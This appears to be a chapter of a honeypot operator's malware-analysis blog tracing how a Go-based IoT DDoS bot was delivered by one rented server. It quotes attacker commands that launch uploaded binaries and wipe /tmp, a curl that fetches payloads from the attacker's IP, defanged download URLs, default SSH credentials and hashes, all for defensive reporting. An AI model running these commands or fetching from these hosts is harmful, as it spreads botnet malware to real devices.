Legea · Chapter 31
One door, three visitors
Forty megabytes of binary that won't open: the decompiler takes one look and refuses. Before forcing that door, the boring part that has to come first - who brought them here.
In the small hours, the decoy gets a visitor in a hurry. It comes in over SSH with root/root, the cheapest credential there is, opens a file transfer session and starts pushing binaries. Not one: eight, one for each kind of processor. Five minutes later all eight are inside, and then comes the line that sums the whole thing up:
cd /tmp; chmod +x *; ./x86 & ./x64 & ./armv7l & ./arm64 & ./armv5 & ./mips & ./mips64 & ./mipsle &
sleep 5; rm -rf *It fires all of them at once, waits five seconds and wipes the directory. It has no interest in knowing which machine it landed on: it shoots all eight and whichever one starts, stays. The decoy answers Exec format error to nearly every one, since they're built for other architectures, and only one fits. That's the point of multi-architecture delivery: uploading eight files is cheaper than asking a question.
And they're launched with no arguments at all, which already tells you something before you open anything: the configuration lives inside, including who it phones. What I'm after today isn't what's inside, though. That's the next chapter. Today it's where this came from, because the server that brought it has a story of its own.
Legea Go DDoS bot, uncatalogued
- sha256 (x64)
- 0475f283…67318c74
- Type
- static ELF, stripped, written in Go 1.24
- Size
- 33 to 40 MB depending on architecture (~23.6 MB of code alone)
- Architectures
- eight uploaded: x86, x64, armv5, armv7l, arm64, mips, mips64, mipsle
- Where the name comes from
- a word in its own code · chapter 32
01It comes back three times, and each time it's worse
What happens next is what gives away that nobody is watching. It returns three more times the same day. Mid-morning it comes in again, now with root/password and with admin/default, and all it does is run uname -a, as if it had no idea it had already been here. Around midday it tries the upload again and gets cut off halfway. A minute later it repeats the whole batch, all eight binaries, from scratch.
It's automated and stubborn: it retries with no memory of the last attempt, tries different credentials on a door that had already let it in, and starts the delivery over when it breaks. Coming back four times doesn't prove there's anyone on the other end deciding to return, mind you: a badly written loop does exactly this.
And there's one detail I enjoyed, because it costs nothing: its SSH client announces itself as SSH-2.0-Go. That points to the delivery tool being written in Go as well, same as what it delivers, though a banner can be set to say anything and on its own it proves nothing.
02The second counter: over HTTP, one per architecture
That small-hours SFTP session isn't its only counter. The same server serves the binaries over HTTP, sitting in its web root, one per architecture, pulled down with wget. That part is on the record from the outside, in a public repository of malicious URLs, so you don't have to take my word for it: there are nine addresses listed.
hxxp://130.12.180[.]32/x86 hxxp://130.12.180[.]32/mips
hxxp://130.12.180[.]32/x64 hxxp://130.12.180[.]32/mips64
hxxp://130.12.180[.]32/armv5 hxxp://130.12.180[.]32/mipsle
hxxp://130.12.180[.]32/armv7l hxxp://130.12.180[.]32/arm64
hxxp://130.12.180[.]32/armv5l ← the ninth: down, and never capturedNine, and I have eight. The missing one is armv5l, already down by the time I went looking: a ninth variant that never reached the decoy.
Two delivery routes means there's a loader out there somewhere doing wget against the IP and asking for its own architecture. The SFTP session is delivery by hand; the HTTP root is what the rest of the chain uses.
03That IP had been here before. And it brought something else.
Before getting into the binary I did the boring check, the one I always do: is this address new around here? It wasn't. The same IP had passed through the decoy nine days earlier, and that visit looks nothing like this one.
That day it came in, ran its uname -a to look around and, a while later, came back for what it wanted: a curl against its own port 33441 to pull down four binaries called lgtv*, roughly 4.8 MB each. Nothing to do with today's: different family, different size, different port, different delivery method. And then, on its way out:
# looking around
uname -a
# pulls down ANOTHER family, from its own port 33441
curl -O hxxp://130.12.180[.]32:33441/lgtv{arm64,x64,armv7,…}
# → 4 binaries, ~4.8 MB each. I have them. No relation to today's.
# and before leaving:
passwd ← changes the victim's root passwordThat closing passwd is the classic move of someone who wants the machine for themselves: once inside, change the root password and shut the very door you came through, so the next scanner along with root/root finds it locked. None of that shows up in the visit with the eight Go binaries.
And there's more, this time without looking at my own logs: that same server advertises, in that same web root alongside today's nine files, a Monero miner and a loader for Sora, which is another branch of Mirai. Four different build chains, four different command models.
There's an economic logic pushing the same way, too. Every delivery IP burns out: it lands on blocklists and in reputation databases, and every day that passes it works a little worse. Pushing four families through one box burns one address instead of four, and spreading that cost across several customers is precisely the business of whoever rents out the door. Keeping those four build chains and those four command models running at once, on the other hand, is a lot of work for a single owner.
The detail that settles it comes from the box itself. Its SSH host key, the fingerprint a server identifies itself with, is shared by around 722 other addresses across several providers. That isn't a server built for the job: it's a cloned VPS image, an off-the-shelf box rented like all the others. The operator didn't build anything; he paid for a month.
04It wasn't coming for us (and it arrived already burned)
To work out whether this was a targeted visit or background noise, the useful question is how many other people are complaining about that IP. On the day it hit us: 3,185 reports in a public abuse database, from 1,398 distinct reporters. Nine days earlier, when it brought the other family, it was 1,009. It also shows up in 49 threat feeds, almost all of them from decoy networks around the world.
That isn't an attacker who picked us: it's a hose pointed at the whole internet, and we were in the path. A device search engine has seen that SSH open since late September, and no domain has ever pointed at that address: the operator works off a bare IP, with no name in between. Which, incidentally, leaves very little trail to follow forwards.
05First contact: the binary lies about itself
With the delivery understood, on to the file. And first contact is odd in two ways.
First, the size: 33 to 40 MB, nearly all of it code. For an IoT bot, which normally comes in under a megabyte, that's enormous; it's what happens when you compile in Go and carry the whole language inside the file. Second, the usual reflex: pull the hashes and look them up. They're there: all eight, uploaded to a public malware repository the day before they landed here, by someone else's account. But with no family name attached, not from a single engine. One of them flatly calls it a legitimate file. So the hash wasn't going to save me any work.
I open it in the decompiler and get the door in my face:
Ghidra: invalid Go version
and it aborts the analysisInvalid Go version. A binary that genuinely is Go, that starts and runs on a real machine, but that on being opened says something about itself which doesn't hold up. Someone has been at what this file claims to be.
06Indicators
These are the delivery ones. The bot's own, its command server, its domains and what it leaves on disk, are in the next chapter, which is where they turn up.
| Type | Value |
|---|---|
| Delivery server | 130.12.180.32 (Virtualine Technologies / Omegatech, DE). Comes in over SSH with root/root, root/password, admin/default; uploads over SFTP and also serves over HTTP |
| HTTP delivery | hxxp://130.12.180[.]32/{x86, x64, armv5, armv5l, armv7l, arm64, mips, mips64, mipsle} · 9 addresses, 8 live |
| Delivery tooling | SSH client SSH-2.0-Go · HASSH f64043bfb57b94caaffcf99ca8a5eb0f |
| Server fingerprint (weak) | SSH host key 32:23:22:68:cd:1f:6a:50:c0:ed:15:c5:68:cc:96:a5 · shared by ~722 IPs (cloned VPS image, identifies no one) |
| Sibling IPs | 130.12.180.78 · 130.12.180.122 |
| Other families through the same door | lgtv{arm64,x64,armv7,…} on port 33441 (nine days earlier) · hxxp://130.12.180[.]32/xmrig (miner) · hxxp://130.12.180[.]32/sora.sh (Sora loader). Not this family: they're the evidence that the node delivers for several |
| Behaviour on the victim | eight binaries uploaded to /tmp, chmod +x *, all launched at once with no arguments, sleep 5; rm -rf *. On the visit nine days earlier: passwd, to lock the door behind itself |
| Samples · sha256 (one per architecture) | |
| x86 | 0cc42472a07cf14668e899b73adafe666d02495bf9349715613c8e7ba57244ea |
| x64 | 0475f2831e60ac0b229f346036e339d20ad1d1165b005a89b634dc7c67318c74 |
| armv5 | e59547abdff8019da736bcb8c252cbf5ce96b9695775031b10da334867b59b62 |
| armv7l | 9d0891f849ccc8c0eff4ea961702087eeeceeb00cff94a7cb0542839be3421f5 |
| arm64 | 536a376337fed899e58a86baca1fc584d570be8e708b6c302cc6f24626dfcfd7 |
| mips | 8c21db937a85cf7ed804501cdfee7d1c543aa9a56d4d1187951b8f8048af1c10 |
| mips64 | f5cf1b8ee8ddced3fb5e081dc1543669c3b62767c45da63002032da87632839d |
| mipsle | d570a1702448fac805fe39e9a49fd1ca24e4505161eec68cf6e7f5e2b6a34ce0 |
To be continued - eight 40 MB files that won't let themselves be opened, and a server that rents its door to whoever comes along. Next time I take the mask off the binary: three lying bytes, and more underneath than I expected. 🍯
Comments